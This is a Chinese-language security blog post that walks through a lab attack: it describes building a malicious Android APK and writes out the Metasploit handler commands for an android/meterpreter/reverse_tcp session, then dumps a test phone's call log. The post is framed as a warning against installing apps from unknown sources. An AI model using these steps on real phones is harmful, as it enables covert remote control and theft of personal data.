如何使用Metasploit对安卓手机进行控制 – 作者:凯信特安全团队

如何使用Metasploit对安卓手机进行控制

现在大家每天的生活都离不开一样东西——手机。手机上的App给我们的生活带来了许多欢乐与便利，让我们足不出户便能知晓天下事。然而，并不是所有App都是为我们服务的，有些App可能会带着恶意去接近我们。如果你的程序是从官方应用商店下载还比较安全，若是从未知来源，如网上论坛，或者他人转发等“不靠谱”的下载链接安装，那就比较危险了。所以大部分安卓手机在你设置“允许安装未知来源App”时都会弹出如下提醒：

别小看这一道“防护栏”，他有可能会替你挡下一波又一波恶意App的进攻。也许你可能会不以为然的关掉它：我只是装个App而已，它又不会偷我的钱。

下面，我就会以一个恶意攻击者的角度来告诉你，未知来源的App有多危险！

环境：

攻击机：Kali

靶机(受害者)：FreeBSD安卓4.4.2虚拟机

过程：

首先我们查看并记录Kali的ip地址：192.168.1.112.

利用Kali下的msfvenom生成恶意APK，也就是安卓程序的安装包，LHOST为Kali的ip，LPORT可随意选择一个不用的端口。

成功生成一个apk，我们先把它放着。再启动metasploit的监听器，打开msfconsole控制台（吐槽一句，为什么好多Kali下的程序都搞这么花哨的欢迎界面，大佬的世界我不懂）。

打开后，分别输入：

use exploit/multi/handler

set Payload android/meterpreter/reverse_tcp

set LHOST 192.168.1.112

set LPORT 4444

这样，就设置好了攻击模块、Payload、接收反弹连接主机的监听端口等，便可以开始攻击了。

输入exploit，等待结果。

现在，我们开始模仿受害者，通过电子邮件收到了一个未知来源的apk，名称为“hh.apk”。

开始安装，他并没有提示我“未知来源“，可能是因为这个安卓版本比较久远了，那时还没有现在这样的信息安全保护意识吧。

这样，安装完成，我们已经不知不觉的踏入了“攻击者“的陷阱中。点击应用程序，发现并没有什么响应。但其实，我们此时已经被攻击者掌控住了。

如图所示，就是受害者已经被监控的提示，图中192.168.1.100就是安卓机的ip地址。

在这个页面下，攻击者基本可以操控手机的全部功能、窃听或查看手机的全部文件。举个例子来说，上图中的“dump_call log“指令就是下载了安卓机的所有通话记录，并生成一个TXT文档。

这是我模拟手机，拨打三家通信运营商的通话记录，分别是10001、10086和10010。从图中可以清楚的看到拨打号码、通话时间与拨打接听方式。当然，能做的事远不止这些。

总结：

看到这里，相信各位已经对未知来源的应用程序产生了一丝畏惧。希望大家尽量能从官方下载应用程序使用，不要安装和使用来源不明的apk或是软件，对自己的信息安全有更多一点的防范意识。

来源：freebuf.com 2019-01-22 21:17:21 by: 凯信特安全团队